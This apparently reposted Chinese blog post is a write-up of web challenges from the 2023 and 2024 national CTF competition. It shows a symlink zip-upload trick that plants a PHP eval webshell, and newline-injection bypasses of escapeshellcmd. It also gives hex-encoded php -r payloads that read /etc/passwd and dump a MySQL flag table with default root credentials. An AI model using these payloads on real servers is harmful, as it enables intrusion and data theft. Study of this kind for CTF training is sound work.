当前位置: 首页 > news >正文

2023、2024国赛web复现wp

2023

Unzip

类型:任意文件上传漏洞

主要知识点:软链接

随便上传一个一句话木马文件,得到一串php代码

根据代码上传zip文件发现进入后还是此页面

代码审计:

 <?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
#创建一个新的文件资源用来确定文件的MIME类型
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
#上传的代码如果是MIME类型为application/zip的文件,将被解压到/tmp目录
#unzip -o:不必先询问用户,unzip执行后覆盖原有的文件;//only this! 

上传的文件被解压到/tmp目录并且我们发现代码中没有include和require说明不能执行文件里的代码

扩展:

include:当使用Include指令包含文件时,如果文件不存在或者有语法错误,PHP将生成一个警告(Warning)级别的错误,并且脚本将继续执行。

require:require也是用于包含文件。但是,如果文件不存在或者有语法错误,PHP将生成一个致命错误(Fatal Error),并且脚本执行会立即停止。

因此要想执行文件的代码我们就不能将文件放入/tmp目录,此时就需要用到软链接将文件放入任意目录下从而执行文件中的一句话木马

软链接:

软链接(Symbolic Link),也称为符号链接,是包含了源文件位置信息的特殊文件,用Linux中的命令执行。它的作用是间接指向一个文件或目录,也就是为文件在另一个地方建立一个同步的链接。如果软链接的源文件被删除或移动了,软链接就打不开了。

优点:

  • 软链接可以跨越不同的文件系统,因为它们只存储了路径信息,而不依赖于inode号。
  • 软链接可以用于目录,因为它们不会导致目录结构的混乱和循环引用。
  • 软链接可以反映原文件的变化,例如修改时间和权限等。

使用场景:

  • 当需要为不同位置或不同文件系统的文件或目录创建快捷方式时,可以使用软链接。
  • 当需要创建动态的文件或目录关联时,可以使用软链接。
  • 当需要保留原文件的属性和变化时,可以使用软链接。

创建一个指向/var/www/html目录的软链接(html目录下是web环境)

ln -s /var/www/html/ link

#为/var/www/html目录创建一个软链接link

压缩软链接

zip --symlinks link1.zip link

#将软链接link压缩为link1.zip文件

创建一个link目录

rm link

#防止系统中有link目录,造成冲突

mkdir link

#创建link目录

进入link目录,放入一个一句话木马文件shell.php

退出link目录,将link目录里的文件和目录本身全部压缩为link2.zip

上面由于放在用户目录里比较不直观将其放在一个文件夹中(这一步没有实际作用仅展示创建结果,同时也是方便放到windows界面)

先传上link1.zip再传上link2.zip(一定要先1后2),然后访问shell.php发现成功执行一句话木马

因此我们将一句话木马改为<?php eval($_POST[shell]);?>

上传后

接下去用命令执行或者用蚁剑连接

得到flag

2024

simple_php

代码审计:

escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符。正则匹配绕过了一堆字符。POST请求传入了一个参数cmd进行system()命令的执行。

思路一:

尝试用%0a进行绕过

用bp抓包

l%0as /

发现绕过成功,但没发现疑似flag的文件,根据经验用户的必要信息一般会放在/etc/passwd中(可能会有flag)

补充:

/etc/passwd保存了所有用户的用于读取的必要信息,包括用户的①名称②登录口令情况③用户ID④所属组ID⑤用户的全称等其它详细信息⑥用户的home目录⑦用户的默认登录shell。

扩展:

在早期,加密的密码的确是存在/etc/passwd文件中的,后面为了安全性考虑。将加密的密码文件存在了/etc/shadow(影子口令文件)中了。

 进入/etc/passwd查看

c%0aat /etc/passwd

发现还是没有flag但是发现了一个mysql用户,flag可能在数据库中

 思路二:

直接用paste命令或rev命令

paste /etc/passwd

#paste命令可以将每个文件的行以列的形式加以合并并输出。

rev /etc/passwd

#rev命令可以将文件中的内容以逆序的方式显示出来。

根据经验会直接尝试查看/etc/passwd这个目录有没有泄露

查看数据库(数据库默认信息:账号:root —— 密码:root,管理员账号需要自定义。)

执行shell命令

php -r eval(echo `mysql -u root -p'root' -e 'show databases;'`;);

#php -r:在PHP中,-r命令行选项允许你直接从命令行执行PHP代码,而不需要将代码写入一个文件。

由于escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符所以我们将shell命令转化为hax值(用base64不可行)

构造payload:

php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d65202773686f77206461746162617365733b27603b,1)));

#hex2bin():将16进制转化为ASCII

查看PHP_CMS数据库

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;

#use PHP_CMS:sql语句使用PHP_CMS数据库

构造payload:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));

发现可能有flag的表,查看F1ag_Se3Re7

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;

构造payload:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720

2d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a20

66726f6d20463161675f5365335265373b27603b,1)));

相关文章:

  • 【vue】el-select选择器实现宽度自适应
  • Py列表(list)
  • 2024/5/28 P1247 取火柴游戏
  • 【Linux学习】进程间通信 (3) —— System V (1)
  • pygame raycasting纹理
  • 整理好了!2024年最常见 20 道 Rocket MQ面试题(一)
  • JavaScript面试 题
  • JavaScript与版本控制:编译时光机的双重奏——git仓库
  • redis基本数据结构与应用
  • 【vue-1】vue入门—创建一个vue应用
  • vue+echart :点击趋势图中的某一点或是柱状图,出现弹窗,并传输数据
  • 淘宝扭蛋机小程序:探索未知,扭出惊喜
  • (C11) 泛型表达式
  • 【ArcGISPro】CSMPlugins文件夹
  • hubilder Android模拟器华为手机连接不上
  • 《Java8实战》-第四章读书笔记(引入流Stream)
  • 【跃迁之路】【735天】程序员高效学习方法论探索系列(实验阶段492-2019.2.25)...
  • 10个最佳ES6特性 ES7与ES8的特性
  • Android 初级面试者拾遗(前台界面篇)之 Activity 和 Fragment
  • CAP理论的例子讲解
  • CoolViewPager:即刻刷新,自定义边缘效果颜色,双向自动循环,内置垂直切换效果,想要的都在这里...
  • export和import的用法总结
  • Java 9 被无情抛弃,Java 8 直接升级到 Java 10!!
  • javascript 总结(常用工具类的封装)
  • php的插入排序,通过双层for循环
  • Promise面试题,控制异步流程
  • spring cloud gateway 源码解析(4)跨域问题处理
  • SpriteKit 技巧之添加背景图片
  • Vue实战(四)登录/注册页的实现
  • 第三十一到第三十三天:我是精明的小卖家(一)
  • 分布式熔断降级平台aegis
  • 缓存与缓冲
  • 强力优化Rancher k8s中国区的使用体验
  • 如何利用MongoDB打造TOP榜小程序
  • 适配mpvue平台的的微信小程序日历组件mpvue-calendar
  • 译有关态射的一切
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • AI又要和人类“对打”,Deepmind宣布《星战Ⅱ》即将开始 ...
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • Nginx实现动静分离
  • 阿里云ACE认证之理解CDN技术
  • 基于django的视频点播网站开发-step3-注册登录功能 ...
  • 组复制官方翻译九、Group Replication Technical Details
  • (BAT向)Java岗常问高频面试汇总:MyBatis 微服务 Spring 分布式 MySQL等(1)
  • (ISPRS,2023)深度语义-视觉对齐用于zero-shot遥感图像场景分类
  • (附源码)spring boot球鞋文化交流论坛 毕业设计 141436
  • (九)c52学习之旅-定时器
  • (四)进入MySQL 【事务】
  • (原創) 博客園正式支援VHDL語法著色功能 (SOC) (VHDL)
  • (转)fock函数详解
  • (转载)从 Java 代码到 Java 堆
  • (转载)利用webkit抓取动态网页和链接
  • (自用)gtest单元测试
  • .NET 4.0中的泛型协变和反变
  • .NET Core WebAPI中封装Swagger配置